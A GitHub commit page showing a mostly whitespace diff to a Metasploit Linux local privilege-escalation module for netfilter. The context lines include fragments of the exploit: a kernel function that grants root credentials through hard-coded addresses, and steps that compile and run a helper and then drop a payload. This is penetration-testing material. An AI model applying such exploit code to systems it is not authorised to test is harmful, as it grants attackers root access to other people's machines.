Skip to content

Commit edd1704

Browse files
committed
reexploit and other docs and edits added
1 parent 4f85a11 commit edd1704

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -279,7 +279,7 @@ def exploit
279279
void __attribute__((regparm(3))) privesc() {
280280
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
281281
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
282-
commit_creds(prepare_kernel_cred((uint64_t)NULL));
282+
commit_creds(prepare_kernel_cred((uint64_t)NULL));
283283
}
284284
285285
int main() {
@@ -318,7 +318,7 @@ def exploit
318318
if check != CheckCode::Appears
319319
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
320320
end
321-
321+
322322
def pwn(payload_path, pwn_file, pwn)
323323
# lets write our payload since everythings set for priv esc
324324
vprint_status("Writing payload to #{payload_path}")
@@ -347,7 +347,7 @@ def pwn(payload_path, pwn_file, pwn)
347347
rm_f desc_file
348348
write_file("#{desc_file}.c", decr)
349349
output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}")
350-
350+
351351
register_file_for_cleanup(env_ready_file)
352352
register_file_for_cleanup("#{desc_file}.c")
353353
register_file_for_cleanup(desc_file)
@@ -362,13 +362,13 @@ def pwn(payload_path, pwn_file, pwn)
362362
end
363363
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
364364
sec_waited = 0
365-
365+
366366
until sec_waited > datastore['MAXWAIT'] do
367367
Rex.sleep(1)
368368
if sec_waited % 10 == 0
369369
vprint_status("Waited #{sec_waited}s so far")
370370
end
371-
371+
372372
if file_exist?(env_ready_file)
373373
print_good("desc finished, env ready.")
374374
pwn(payload_path, pwn_file, pwn)

0 commit comments

Comments
 (0)